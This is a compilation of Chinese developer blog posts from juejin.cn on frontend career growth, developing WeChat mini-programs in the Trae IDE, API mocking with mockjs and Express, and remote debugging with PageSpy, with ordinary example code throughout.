而在此之前,是一个后端同学写的代码(说起来,后台管理系统前端人力不够后端帮忙写好像是常规操作,后端总觉得写前端简单,而我只能说你们那代码写的,一言难尽……),如下:
function formatSizeUnits(kb) {
var result = '';
if (kb < 1024) {
result = kb + ' KB';
} else if (kb < 1024 * 1024) {
result = (kb / 1024).toFixed(2) + ' MB';
} else if (kb < 1024 * 1024 * 1024) {
result = (kb / 1024 / 1024).toFixed(2) + ' GB';
} else {
result = (kb / 1024 / 1024 / 1024).toFixed(2) + ' TB';
}
return result;
}
虽然功能都一样,但是我写在面试的时候写了上面的代码得到了面试官的赞扬,也因此非常顺利的通过了面试。而如果我写成了下面的样子,估计不会有这种效果。
如何提升代码质量
想提升代码质量,最理想的是靠 code review ,但实际上这玩意在大多数公司根本就不存在。其次就只能多看看大佬们写的代码,但是一来后台管理本来就没太大难度很少有大佬,二来很多时候一个后台管理系统就一两个人负责。
还好现在有了各种 AI 工具,可以非常方便的优化自己的代码了。
还是上面的问题,看看 GPT 给的答案
// 提问:写一个工具函数,对文件大小的单位进行转换,加注释
// 回答:下面是一个JavaScript工具函数,它接受文件大小、初始单位、目标单位和小数位数,然后返回目标单位下的文件大小。
/**
* 将文件大小从一个单位转换为另一个单位。
*
* @param {number} size 文件大小。
* @param {string} fromUnit 初始单位('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB')。
* @param {string} toUnit 目标单位('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB')。
* @param {number} [decimalPoint=2] 结果保留的小数位数,默认为2。
* @return {string} 转换后的文件大小,带单位。
*/
function convertFileSize(size, fromUnit, toUnit, decimalPoint = 2) {
// 定义单位与字节之间的转换关系
const units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
// 获取初始单位和目标单位的索引
const fromIndex = units.indexOf(fromUnit);
const toIndex = units.indexOf(toUnit);
// 如果单位不在列表中,抛出错误
if (fromIndex === -1 || toIndex === -1) {
throw new Error('Invalid units');
}
// 计算初始单位与目标单位之间的转换系数
const exponent = toIndex - fromIndex;
// 计算结果大小
const resultSize = size / Math.pow(1024, exponent);
// 返回格式化后的结果
return parseFloat(resultSize.toFixed(decimalPoint)) + ' ' + toUnit;
}
// 示例使用
console.log(convertFileSize(1, 'GB', 'MB')); // 输出: 1024.00 MB
console.log(convertFileSize(1, 'MB', 'KB')); // 输出: 1024.00 KB
console.log(convertFileSize(1, 'KB', 'B')); // 输出: 1024.00 B
console.log(convertFileSize(1, 'MB', 'GB', 5)); // 输出: 0.00098 GB
还能说什么,我只能说 NB!(经评论区提示,此段代码可能有问题,建议大家在使用AI工具时,重点是借鉴思路,直接使用代码需要谨慎~)
我现在每次写大段逻辑之后都习惯拿给 AI 看看,有什么更好的实现方式,或者用什么设计模式。AI 是非常低成本且高效提升代码质量的工具。
学会封装
一个功能用到了好多次,为什么不封装成组件?一个组件用到了好几个项目,为什么不单独写个npm包?差不多的项目创建了好几个,为什么不封装成脚手架?
你说,没时间,没必要,复制粘贴反而更快。
那你就完全没理解,这么做不一定是为了让工作更快完成,而是可以让你在年年终述职时更有话说(你就算写了一百个表单表格没有写一个脚手架更值得炫耀),如果不会写可以问问 AI。
而当你真正开始封装组件,开始写工具库了,你会发现你需要思考的确实比之前多了。
关注业务
对于前端业务重要吗?
相比于后端来说,前端一般不会太关注业务。就算出了问题大部分也是后端的问题。
但是就我找工作的经验,业务非常重要!
如果你做的工作很有技术含量,比如你在做低代码,你可以面试时讲一个小时的技术难点。但是你只是一个破写后台管理,你什么都没有的说。这个时候,了解业务就成为了你的亮点。
一场面试
还是拿真实的面试场景举例,当时前同事推我字节,也是我面试过N次的梦中情厂了,刚好那个组做的业务和我之前呆的组做的一模一样。
- 同事:“做的东西和咱们之前都是一样的,你随便走个过场就能过,我在前端组长面前都夸过你了!”
- 我:“好嘞!”
等到面试的时候:
- 前端ld:“你知道xxx吗?(业务名词)”
- 我:“我……”
- 前端ld:“那xxxx呢?(业务名词)”
- 我:“不……”
- 前端ld:“那xxxxx呢??(业务名词)”
- 我:“造……”
然后我就挂了………………
如何了解业务
- 每次接需求的时候,都要了解需求背景,并主动去理解
我们写一个表格简简单单,把数据展示出来就好,但是表格中的数据是什么意思呢?比如我之前写一个 kafka 管理平台,里面有表格表单,涉及什么
cluster
controller
topic
broker
partition
…… 我真的完全不了解,很后悔我几年时间也没有耐下心来去了解。 - 每次做完一个需求,都需要了解结果
有些时候,后台管理的团队可能根本没有PM,那你也要和业务方了解,这个功能做了之后,多少人使用,效率提高了吗?数据是怎样的?
- 理解需求,并主动去优化
产品要展示一千条数据,你要考虑要不要分页,不分页会不会卡,要不要上虚拟表格?
产品要做一个可拖拽表单,你要考虑是否需要拖动,是否需要配置。
其实很多时候,产品的思维可能会被局限在竞品的实现方式,而前端可以给TA更多选项。在和产品沟通的时候,你不仅是沟通页面的实现,也更能理解业务。
关注源码
说到源码, Vue,React 这些基本是每次必问,也有太多大佬们的总结我就不多说了。
除此之外,我想大家每次面试应该都会被问,你写了什么亮点的项目,困难的项目,你会说什么?哦,都是表单表格,都用 Element UI 实现的,没什么难度。那估计你面试也就到这里了。
那说什么,后台管理就这些啊?!
如果你用了 Element UI 你可以说写了什么自定义 Element UI 表单组件,Element UI 表单源码是什么原理,怎么通信的?用了 Axios 可以说 Axios 的原理,它的拦截器怎么实现的?用了编辑器 diff 那你知道 diff 算法是什么吗?用了 ECharts 那你知道他底层是用什么绘制的吗?用了 husky ?husky的原理是什么?用了Vite,它为什么快?是怎么打包的?写过插件吗?
可能有人觉得我离谱,事实上上面每一个问题都是我在面试中真实被问到的。当然,如果全部去了解,肯定不现实,每个人的精力有限,不可能每个用到的每个工具每个库都去了解原理,不过只要有一两个你去了解过,就可以在面试中引导面试官来问,要学会表现出你擅长的点。
至于怎么读源码?以前我不知道,现在嘛…… 为什么不问问神奇的 ChatGPT 呢?
讲一下 Axios 源码中,拦截器是怎么实现的?
Axios 的拦截器实现基于 Axios 的核心原理,即 Axios 实例是一个包含请求和响应拦截器堆栈的对象。当发出请求或接收响应时,Axios 会遍历这些拦截器,并按照添加的顺序执行请求拦截器,以及按照相反的顺序执行响应拦截器。
在 Axios 的源码中,拦截器是通过一个 AxiosInterceptorManager 实例来管理的,它维护了一个拦截器数组。每个拦截器都是一个包含
fulfilled
和rejected
函数的对象。这两个函数分别对应于拦截器成功处理和拦截器处理出错的情况。
以下是 Axios 拦截器管理器的一个简化版本,展示了其核心实现思路:
class InterceptorManager {
constructor() {
this.handlers = []; // 存储拦截器的数组
}
use(fulfilled, rejected) {
this.handlers.push({
fulfilled: fulfilled,
rejected: rejected
});
return this.handlers.length - 1; // 返回拦截器的ID
}
eject(id) {
if (this.handlers[id]) {
this.handlers[id] = null; // 移除拦截器
}
}
forEach(fn) {
this.handlers.forEach((h) => {
if (h !== null) {
fn(h);
}
});
}
}
在发送请求或接收响应时,Axios 会创建一个 promise 链,并通过
forEach
方法将拦截器中的fulfilled
和rejected
函数添加到这个链中。这样,每个拦截器都可以对请求或响应进行处理,然后将结果传递到链的下一个拦截器,或者在出错时结束链的执行。
axios.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
chain.unshift(interceptor.fulfilled, interceptor.rejected);
});
axios.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
chain.push(interceptor.fulfilled, interceptor.rejected);
});
在 Axios 的完整实现中,这个拦截器机制被集成到了 Axios 的请求发送和响应处理流程中。通过这种方式,Axios 可以在发送请求之前和接收响应之后,但在用户定义的
.then
或.catch
执行之前,插入自定义的逻辑。
请注意,这里提供的代码只是为了说明 Axios 拦截器的实现原理,并不是 Axios 源码的完整复制。如果你对 Axios 的拦截器实现细节感兴趣,建议查看 Axios 的官方 GitHub 仓库中的源码。
前端基建
当我们工作时间久了面试难免会遇到这些问题,前端工程化,前端监控,工作流,部署,性能等等。其实我们在工作中绝大部分时间都在写代码,对于这些不是所有人都有机会接触到,不过这些和所做的业务无关,是我们提升自己很好的一个思路。
技术选型
技术栈选 Vue 还是 React?Vue 选 Vue2 还是 Vue3?组件库选 ElementUI 还是 Ant Design?微前端有没有使用过?打包工具用 Vite 还是 Webpack?有那么多表单怎么实现的,有没有什么表单配置化方案,比如Formily?
对于我这种菜鸡,我这种只写简单的表单表格的人,这些都……无所谓……

不过为了应对面试我们还是需要了解下未选择技术栈的缺点,和已选择技术栈的优点(有点本末倒置…但是常规操作啦)
Vue 你可以说简单高效轻量级,面试必会问你为什么,你就开始说 Vue 的响应式系统,依赖收集等。
React 你可以说 JSX、Hooks 很灵活,那你必然要考虑 JSX 怎么编译, Hooks 实现方式等。
总体而言,对于技术选型,依赖于我们对所有可选项的理解,做选择可能很容易,给出合理的理由还是需要花费一些精力的。
开发规范
这个方面,在面试的时候我被问到的不多,我们可以在创建项目的时候,配置下 ESlint
,stylelint
, prettier
, commitlint
等。
前端监控
干了这么多年前端,前端监控我是……一点没做过。

前端监控,简单来说就是我们在前端程序中记录一些信息并上报,一般是错误信息,来方便我们及时发现问题并解决问题。除此之外也会有性能监控,用户行为的监控(埋点)等。之前也听过有些团队分享前端监控,为了出现问题明确责任(方便甩锅)。
对于实现方案,无论使用第三方库还是自己实现,重要的都是理解实现原理。
对于错误监控,可以了解一下 Sentry,原理简单来说就是通过 window.onerror
和 window.addEventListener('unhandledrejection', ...)
去分别捕获同步和异步错误,然后通过错误信息和 sourceMap
来定位到源码。
对于性能监控,我们可以通过 window.performance
、PerformanceObserver
等 API 收集页面性能相关的指标,除此之外,还需要关注接口的响应时间。
最后,收集到信息之后,还要考虑数据上报的方案,比如使用 navigator.sendBeacon
还是 Fetch、AJAX?是批量上报,实时上报,还是延迟上报?上报的数据格式等等。
CI/CD
持续集成(Continuous Integration, CI)和 持续部署(Continuous Deployment, CD),主要包括版本控制,代码合并,构建,单测,部署等一系列前端工作流。
场景的工作流有 Jenkins、 Gitlab CI 等。我们可以配置在合并代码时自动打包部署,在提交代码时自动构建并发布包等。
这块我了解不多,但感觉这些工具层面的东西,不太会涉及到原理,基本上就是使用的问题。还是需要自己亲自动手试一下,才能知道细节。比如在 Gitlab CI 中, Pipeline
、 Stage
和 Job
分别是什么,怎么配置,如何在不同环境配置不同工作流等。
了解技术动态
这个可能还是比较依赖信息收集能力,虽然我个人觉得很烦,但好像很多领导级别的面试很愿意问。
比如近几年很火的低代码,很多面试官都会问,你用过就问你细节,你没用过也会问你有什么设计思路。
还有最近的两年爆火的 AI,又或者 Vue React的最新功能,WebAssembly,还有一些新的打包工具 Vite Bun 什么的,还有鸿蒙开发……
虽然不可能学完每一项新技术,但是可以多去了解下。
总结
写了这么多,可能有人会问,如果能回到过去,你会怎么做。
啊,我只能说,说是一回事,做又是另一回事,事实上我并不希望回到过去去卷一遍,菜点没关系,快乐就好,一切都是最好的安排。

来源:juejin.cn/post/7360528073631318027
trae 深度体验:使用trae完美开发微信小程序
trae 深度体验:使用trae完美开发微信小程序
安装 trae
安装 trae 教程和使用文档大家可以参考官方文档,很详细。使用过 vscode 的用户几乎可以无缝切换过来。官方文档:docs.trae.ai/docs/what-i…
目前只支持 mac 系统,windows 预计 2 月份上线。
如果遇到下面的错误,请科学上网解决;
trae 项目实战:开发微信小程序
插件安装
要想在 trae 中完美体验小程序开发首先需要安装必要的两个插件WXML、微信小程序开发工具
WXML:微信小程序 .wxml 文件代码高亮,标签、属性的智能补全(同时支持原生小程序、mpvue 和 wepy 框架,并提供 code snippets)
微信小程序开发工具:提供小程序预览、打包上传、代码补全、语法高亮、项目模版等功能
安装 “wxml”插件
按照 vscode、trae 的插件安装方式安装就可以顺利安装:
安装 “微信小程序开发工具”插件
这个工具安装有一些曲折,按照 vscode 的使用习惯,首先在插件市场按名称搜索,结果大出意料,没有😄。
不知道是哪里出现了问题,按照官方文档指引去下载。
打开官方的网址 docs.trae.ai/docs/manage…, 全是英文,没关系,使用豆包 APP 打开网页,让豆包总结网页内容就行 😄:
文档中提到了两种方式:
- 从 Trae 的插件市场中安装(没搜索到微信小程序开发工具插件,此路不通😭)
- 把插件下载到本地,使用本地安装的方式。看下面动图:
右下角提示,直接安装失败!此路也不行。作为一个程序员折腾是我的本能,看看 trae 的 AI 能力能不能提供帮助。
顺便遇到个 bug:
插件安装失败后,图中的两个按钮点击了都没有任何反应,只能重启 trae 才能解决。
- 求助 trae 的 AI
使用快捷键 command + U 打开右侧边栏,输入要问的问题:
看到上图,这个插件我们已经安装,在 trae chat 中给到的建议是里面有 "小程序开发助手"插件,但是没有提到如何安装。
更换模型,在 chat 的对话框右侧点击切换模型,使用 gpt-4o,来解决插件安装的问题:
多次尝试后,回答还是一如既往的固执。
在AI 给到的回复当中有个插件的命令,不过这个命令适合 vscode。
点击运行按钮试试,此时 trae 会自动打开 terminal,直接执行命令
提示安装成功,但是给 vscode 安装了。继续提问:
嗯,还是 vscode 命令,不过也没关系,更换为 trae 就行了:
trae --install-extension /Users/oo7/Downloads/crazyurus.miniprogram-vscode-extension-1.5.1.vsix
等待命令执行完毕:
安装成功。
至此两个插件就安装完毕,可以做小程序的开发了。
小结
在trae中安装用于微信小程序开发的“WXML”和“微信小程序开发工具”插件,过程各有不同:
- “WXML”插件:按照vscode、trae常规的插件安装方式即可顺利安装。
- “微信小程序开发工具”插件:在trae插件市场和vscode插件市场均搜索不到,通过从官方文档下载插件本地安装失败,求助trae的AI起初未得到有效解决,最终通过将适用于vscode的安装命令修改为适用于trae的命令
trae --install-extension /xxxx/crazyurus.miniprogram-vscode-extension-1.5.1.vsix
,成功安装。 - 安装完成两个插件后,即可进行小程序开发。 同时,安装插件失败时存在点击重试和关闭按钮无反应的bug,需重启trae解决。
- 点击
chat
区域的run
按钮一定要检测命令的安全性(不然遇到非法的命令直接运行结果很严重),同时也建议trae
只复制命令到终端即可。
小程序项目开发
在 trae 中开发小程序,还需要下载微信开发者工具,也许有人会问既然有了微信开发者工具为什么还要使用 trae?
- 微信开发者工具编写代码远远没有使用 trae 写代码快,bug 多,没有 AI。
- trae 功能插件丰富、UI nice、拥有免费的 AI👍。
- 微信开发者工具不能少,微信开发者工具有实时渲染,代码检测、性能分析、一键上传代码等微信小程序必须的功能。
使用 微信开发者工具打开你的项目,并点击打开模拟器和分离窗口,如下图:
然后打开 trae 编辑器,在你的桌面布局中配置如下排列方式:
这样我们就可以实现一边写代码一边调试效果的目地。
编写页面
代码编写
我已经有这样一个页面,不过界面太难看了,使用 Trae 来调试他:
页面 wxml 代码 :
<!--pages/tools/index.wxml-->
<navigation-bar
title="{{pageTitle}}"
back="{{false}}"
>
</navigation-bar>
<scroll-view
type="custom"
scroll-y
enable-flex="{{false}}"
scroll-with-animation="{{true}}"
enable-back-to-top="{{true}}"
enable-passive="{{true}}"
show-scrollbar="{{false}}"
refresher-default-style="white"
bounces="{{true}}"
fast-deceleration="{{true}}"
lower-threshold="{{50}}"
style="width: 100%; height: 100%;"
>
<sticky-section>
<view class="toolbox" wx:if="{{tools.length > 0}}">
<view class="item" wx:for="{{toolList}}">
<navigator open-type="navigate" hover-class url="{{item.url}}">
<image src="{{item.imageUrl}}" fade-in="{{true}}" mode="widthFix"></image>
<text class="title">{{item.title}}</text>
<view class="description">
<text><span class="iconfont icon-Fire-fill-red"></span>{{100}}</text>
<text class="description_right">去创作 <span class="iconfont icon-ChevronRight" style="font-size: 12px;"></span></text>
</view>
</navigator>
</view>
</view>
</sticky-section>
</scroll-view>
界面样式实在太丑了,对 .description 进行样式修改。在 index.wxss 文件中,选中 .description 的样式,在悬浮工具条中点击添加到对话,然后我们在对话区域输入我们的修改要求,trae 进行回答。然后点击应用按钮,可以直接把新的代码插入到源文件对应的行。并且 trae 还很贴心的显示了新旧代码的区分。
最后完成页面的修改,看效果:
index.wxss
@import '../../asseat/iconfont.wxss';
.toolbox {
display: flex;
flex-direction: row;
flex-wrap: wrap;
justify-content: space-around;
}
.toolbox .item {
display: flex;
flex-direction: row;
flex-wrap: wrap;
justify-content: space-around;
width: 45%;
background-color: white;
margin-bottom: 20px;
box-shadow: 0 3px 5px rgba(0, 0, 0, 0.1);
}
.toolbox .item image{
/* height: 50px;*/
/* max-width: 100px; */
width: 100%;
overflow: hidden;
/* border-radius: 5px; */
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
.toolbox .item .title {
line-height: 40px;
font-size: 15px;
/* white-space: normal; */
align-items: center;
width: 100%;
padding-left: 10px;
font-weight: 400;
text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.3)
}
.description {
display: flex;
flex-direction: row; /* 修改为列布局 */
flex-wrap: nowrap;
}
.description .iconfont{
font-size: 12px;
}
.description text {
display: inline;
line-height: 20px;
font-size: 12px;
width: 100%;
padding-left: 10px;
font-weight: 400;
/* text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.3) */
}
.description text:first-child{
color: red;
}
.description .description_right{
font-size: 12px;
text-align: right;
width: 95%;
display: inline-block;
margin-right: 5px;
color: #3cc51f;
}
如果我们需要回溯代码的历史记录,我们可以选中代码,然后在工具条中选择编辑即可查看。
再来看动图,效果杠杠的🐂:
使用设计图转换为小程序代码
首先我们准备一个页面的设计图
然后使用快捷键 command+U打开右侧的chat 区域,把设计图粘贴进去,并进行对话。输入对话内容:把上图的样式布局转换为微信小程序的代码。看下面动图:
这样会生成对应微信小程序的3个文件: index.wxml、index.wxss、index.js ,然后我们使用应用按钮,将代码插入到对应的文件即可。看最后的效果:
看着效果还行,如果在使用过程中效果不是很好,可以多尝试几次。
小结
1、我们在编写代码过程中与AI 助手聊天,可以指定Trae中的内容(例如代码、文件、文件夹和工作区)作为AI助手阅读和理解的上下文。这 可确保AI助手的响应更符合您的需求。
大家在使用AI的过程中,普遍感觉就是AI不能代替程序员,写出来的代码基础就不能用,原因就是一般的 AI 无法理解用户的工程文件结构黑内容,更无法知道你文件之间、代码直接的关系。trae 做到了,通过项目、文件、代码直接的逻辑生成的答案更贴合实际情况,所以效果会更好些。
2、将图片直接转换为代码依赖强大的多模态模型,大大减低了程序员的工作量。不需要依赖任何内容,将生成的内容稍微修改就可以直接使用, good job 👍。
代码管理
trae 无缝集成了 git 的代码管理功能,我们只需要点点按钮就可以了。可以通过下面的两种方式激活代码管理:
- 如果当前打开的文件夹没有 Git 仓库,请单击初始化仓库以为其初始化一个仓库。初始化完成后,源代码控制将被启用。
- 单击发布到 GitHub直接将此文件夹发布到 GitHub 仓库。发布后,可以访问源代码控制。
Trae配置
熟悉 vscode 的用户,对于配置 Trae 也很简单,使用快捷键 command+, 打开设置项:
根据自己的喜好配置即可。
总结
- 安装 Trae:可参考官方文档进行安装,使用过 VS Code 的用户能无缝切换。
- 插件安装
WXML 插件:按常规方式顺利安装,可实现代码高亮、智能补全等功能。
微信小程序开发工具插件:在市场搜索无果,本地安装失败。最终将适用于 VS Code 的命令修改后成功安装。安装失败时存在按钮无响应的 Bug,需重启 Trae 解决。
Trae 的插件市场有部分插件是无法搜索到(具体原因未知),遇到无法安装的插件建议使用离线安装的方式,使用命令安装,
- 小程序项目开发
结合工具:同时使用微信开发者工具和 Trae,微信开发者工具于实时渲染等,Trae用于高效代码编写和利用 AI 功能。
代码编写:可选中代码向 Trae 的 AI 提出修改要求,直接将新代码插入源文件,还能查看代码历史记录。
- 设计图转换代码:依赖多模态的能力,可以在 chat 区域,粘贴设计图并对话,可生成小程序代码文件,效果不佳时可多次尝试。
- 代码管理:无缝集成 Git 功能,可通过初始化仓库或发布到 GitHub 激活源代码控制。
- 配置 Trae:熟悉 VS Code 的用户可使用快捷键打开设置项进行个性化配置。
来源:juejin.cn/post/7462947628474171403
后端:没空,先自己 mock 去
前言
后端开发忙,不给你接口?
后端抱怨你在测试过程中,频繁的给脏数据?
后端修个接口很慢没法测试?

有了 mockjs ,这些问题将迎刃而解。不要 998,pnpm i 带回家!
后端开发忙,不给你接口?
后端抱怨你在测试过程中,频繁的给脏数据?
后端修个接口很慢没法测试?
有了 mockjs ,这些问题将迎刃而解。不要 998,pnpm i 带回家!
真这么丝滑?
请看我的使用方式:
当后端接口无法满足要求,且不能及时更改时。例如后端返回
{
"err_no": 0,
"err_msg": "success",
"data": [
{
"comment_id": "7337487924836287242",
"user_info": {
"user_name": "陈陈陈_",
}
}
],
}
但我此时希望增加一个 user_type
来确定页面的展示。
那我就直接起一个文件:user.js
,把刚才的响应 copy 过来,并追加改动
myMock('/api/v1/user', 'post', () => {
return {
"err_no": 0,
"err_msg": "success",
"data": [
{
"comment_id": "7337487924836287242",
"user_info": {
"user_name": "陈陈陈_",
"user_type": "admin",
}
}
],
}
});
如此一来,这个请求就被无缝替换为了我们的 mock,可以随便测试了。
请看我的使用方式:
当后端接口无法满足要求,且不能及时更改时。例如后端返回
{
"err_no": 0,
"err_msg": "success",
"data": [
{
"comment_id": "7337487924836287242",
"user_info": {
"user_name": "陈陈陈_",
}
}
],
}
但我此时希望增加一个 user_type
来确定页面的展示。
那我就直接起一个文件:user.js
,把刚才的响应 copy 过来,并追加改动
myMock('/api/v1/user', 'post', () => {
return {
"err_no": 0,
"err_msg": "success",
"data": [
{
"comment_id": "7337487924836287242",
"user_info": {
"user_name": "陈陈陈_",
"user_type": "admin",
}
}
],
}
});
如此一来,这个请求就被无缝替换为了我们的 mock,可以随便测试了。
如何接入 mockjs
有的同学就要问了,主播主播,你的 mockjs 确实很方便,怎么接入比较好呀。别急,我们一步一步来
- 安装 mockjs
pnpm i mockjs
如果是使用 ts 的同学,可能需要额外安装 type 类型包:@types/mockjs
- 新建一个 mock 文件夹,在 mock/index.ts 放入基本路径
// 各种 mock 的文件,视条件而定,我这里有俩文件就引入了俩
import './login/user.js';
import './model/model.js';
有的同学就要问了,主播主播,你的 mockjs 确实很方便,怎么接入比较好呀。别急,我们一步一步来
- 安装 mockjs
pnpm i mockjs
如果是使用 ts 的同学,可能需要额外安装 type 类型包:@types/mockjs
- 新建一个 mock 文件夹,在 mock/index.ts 放入基本路径
// 各种 mock 的文件,视条件而定,我这里有俩文件就引入了俩
import './login/user.js';
import './model/model.js';
并且在你的项目入口 ts 中引入 mock/index.ts
import './mock/index'; // 引入 mock 配置
- 导出一个 myMock 方法,并追加一个 baseUrl 方便直接联动你的 axios
import { ENV_TEST } from '@/api/config/interceptor';
import Mock from 'mockjs';
export const myMock = (
path: string,
method: 'get' | 'post',
callback: (options: any) => any
) => {
Mock.mock(`${ENV_TEST}${path}`, method, callback);
};
如此一来,你就可以在 mock 文件夹下去搞了,比如:
我想新增一个服务模块的各类接口的 mock,那么我就新增一个 service 文件夹,在其下增加一个 index.ts,并对对应路径进行 mock
myMock('/api/v1/service', 'get', () => {
return {
code: 0,
msg: 'hello service',
data: null,
};
});
另外,别忘了在 mock/index.ts 引入文件
不显示在 network 中?
需要说明的是,这样走 mock 是不会触发真正的请求的,相当于 xhr 直接被 mock 拦截了下来并给了你返回值。所以你无法在 network 中看到你的请求。
这是个痛点,目前比较好的解决方案还是起一个单独的服务来 mock。但这样也就意味着,需要另起一个项目来单独做 mock,太不优雅了。
有没有什么办法,既可以走上述简单的mock,又可以在需要的时候起一个服务来查看 network,并且不需要额外维护两套配置呢?
有的兄弟,有的。
import express from 'express';
import bodyParser from 'body-parser';
import Mock from 'mockjs';
import './login/user.js';
import './model/model.js';
import { ENV_TEST } from './utils/index.js';
const app = express();
const port = 3010;
// 使用中间件处理请求体和CORS
app.use(bodyParser.json());
// 设置CORS头部
app.use(( _ , res, next) => {
res.header('Access-Control-Allow-Origin', '*');
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
next();
});
// 设置Mock路由的函数
const setupMockRoutes = () => {
const mockApis = Mock._mocked || {};
// 遍历每个Mock API,并生成对应的路由
Object.keys(mockApis).forEach((key) => {
const { rurl, rtype, template } = mockApis[key];
const route = rurl.replace(ENV_TEST, ''); // 去掉环境前缀
// 根据请求类型(GET, POST, 等)设置路由
app[rtype.toLowerCase()](route, (req, res) => {
const data =
typeof template === 'function' ? template(req.body || {}) : template;
res.json(Mock.mock(data)); // 返回模拟数据
});
});
};
// 设置Mock API路由
setupMockRoutes();
// 启动服务器
app.listen(port, () => {
process.env.NODE_ENV = 'mock'; // 设置环境变量
console.log(`Mock 服务已启动,访问地址: http://localhost:${port}`);
});
直接在 mock 文件夹下追加这个启动文件,当你需要看 network 的时候,将环境切换为 mock 环境即可。本质是利用了 Mock._mocked
可以拿到所有注册项,并用 express 起了一个后端服务响应这些注册项来实现的。
在拥有了这个能力的基础上,我们就可以调整我们的命令
"scripts": {
"dev": "cross-env NODE_ENV=test vite",
"mock": "cross-env NODE_ENV=mock vite & node ./src/mock/app.js"
},
顺便贴一下我的 env 配置:
export const ENV_TEST = 'https://api-ai.com/fuxi';
export const ENV_MOCK = 'http://localhost:3010/';
let baseURL: string = ENV_TEST;
console.log('目前环境为:' + process.env.NODE_ENV);
switch (process.env.NODE_ENV) {
case 'mock':
baseURL = ENV_MOCK;
break;
case 'test':
baseURL = ENV_TEST;
break;
case 'production':
break;
default:
baseURL = ENV_TEST;
break;
}
export { baseURL };
这样一来,如果你需要看 network ,就 pnpm mock,如果不需要,就直接 pnpm dev,完全不需要其他心智负担。
三个字:
参数相关
具体的 api 可查阅:github.com/nuysoft/Moc… 相关的文章也非常多,就不展开说明了。
如果这篇文章对你有帮助,不妨点个赞吧~
来源:juejin.cn/post/7460091261762125865
小程序开发体验差,你试过 PageSpy 了吗?
做过小程序的人都知道,小程序的开发体验很糟糕,其中一个很难受的点就是调试。虽然在电脑上开发可以用调试工具,但众所周知很多问题得到真机上才能暴露出来,而小程序真机调试用的 vconsole 又很鸡肋,屏幕小,输入难,还是阉割版(阉割了网络、存储功能,不知道出于什么考虑)。另一个缺陷是,无论是开发工具还是 vconsole,你都只能在「本机」上运行,测试同学要是离你很远的话,想喊你看个 bug,只能截图。
今天介绍一个神奇的工具,全方位的提升小程序的调试体验。
PageSpy 简介
github:github.com/HuolalaTech…
PageSpy 是由货拉拉大前端开源的一款用于远程调试 Web 的工具,它可以针对远程页面提供类似 Chrome DevTools 的调试体验,无论网页实际运行在哪里。除了实时调试,它还支持离线录制,将已经发生的用户操作和历史日志录制下来随时回放。
除了 web 平台,它还把同样的调试功能带到了小程序上。我们来看看使用 PageSpy 调试小程序有什么不一样的体验。
部署和接入
PageSpy 分为服务端、调试端网页和客户端 SDK,官方文档有详细的部署和接入说明,这里不再赘述:
部署指南:http://www.pagespy.org/#/docs/depl…
小程序的 SDK 以 npm 包的方式提供:
import PageSpy from '@huolala-tech/page-spy-wechat';
const $pageSpy = new PageSpy({
api: "<your-pagespy-host>",
})
详细参考:http://www.pagespy.org/#/docs/mini…
在线调试
针对小程序,目前 PageSpy 内置了四个模块:输出,网络,存储,系统。
1. 输出
1. 大屏看日志
比手机小屏上的 vconsole 爽多了,而且不受设备限制,无论小程序运行在什么设备上,都能通过调试端网页远程看到运行情况。
2. 远程执行代码
vconsole 输入很难受,而 PC 键盘输入的效率就很高,PageSpy 打破了小程序无法执行远程代码的限制。这一功能需要安装插件 @huolala-tech/page-spy-plugin-mp-eval
来支持。不过需要注意上线的时候要去掉,小程序对远程执行代码审查很严格,把该插件带到线上去的话很可能审核不通过。
3. 运行上下文
PageSpy 的远程执行代码和你自己写的代码运行在 「同一个上下文」。这有什么意义呢?
你可以自己试一下:
例如你在你的代码里为全局变量加一个字段:wx.a = 123
,在 vconsole 里,你是获取不到这个变量的,反之亦然。
甚至 getCurrentPages 和 getApp 也不能用:
冷知识:小程序的 vconsole 和你的代码 不在一个上下文!
vconsole 是把用户环境的日志通过代理打印到了自己的上下文,又把 wx.xxx 之类的 api 代理到用户上下文去执行。微信似乎只想把它当成一个查看日志的窗口,而不希望用户利用它随意执行代码。
PageSpy 就不会有这个问题,它和你的代码运行在同一个上下文空间,可以直接和你的代码进行交互。
2. 网络
微信小程序自带的 vconsole 阉割了网络模块,所以在真机调试时看不到网络请求日志,非常的不方便。
来看 PageSpy 的网络面板:
和 Chrome 很像。通过 wx.request 发起的请求都可以记录到,而图片、字体之类的资源类请求还看不到,目前来说已经能带来很大帮助了。
3. 存储
小程序的 vconsole 同样也没有 storage 面板🤦🏻,只提供了一个清除 storage 的按钮,令人费解。
来看 PageSpy 的存储面板:
PageSpy 的 web 版 SDK 有 localStorage,sessionStorage,cookie,indexedDB 等多种存储方式,小程序原生只有一个 storage。不过未来倒是可能支持小程序的「本地临时文件」。
4. 系统
系统面板就是把你调用 wx.getSystemInfo、wx.getSetting 等系统 API 能获取到的信息,在这里更清晰、直观的列了出来。例如用户说他某个功能不起效,你看一下这里,可能就知道是不是因为他的系统版本过低,或者某个权限没开导致的。
用户授权信息:
5. 页面呢 ??
如果你用过 web 版的 PageSpy,会发现小程序版的比 web 版的少了一个「页面」模块。因为小程序本身的限制,没有办法拿到页面的 dom 结构,也就没法像 web 一样远程调试界面,这是目前唯一输给 vconsole 的点。也许未来发明了什么黑科技,或者官方良心发现放出一些接口,这个功能才得以实现。
离线录制
PageSpy 不仅支持实时调试,还支持离线录制。假如你在调试小程序的时候发现了一个问题而恰巧又没有连上实时调试,或者你想把某次操作记录存下来慢慢研究或者分享给其他人,就可以用到这个功能。
首先安装插件 @huolala-tech/page-spy-plugin-mp-data-harbor
import PageSpy from '@huolala-tech/page-spy-wechat';
// 引入离线录制插件
import DataHarborPlugin from '@huolala-tech/page-spy-plugin-mp-data-harbor';
// 注册插件
const harbor = new DataHarborPlugin(config);
PageSpy.registerPlugin(harbor);
// 实例化 pageSpy
const $pageSpy = new PageSpy();
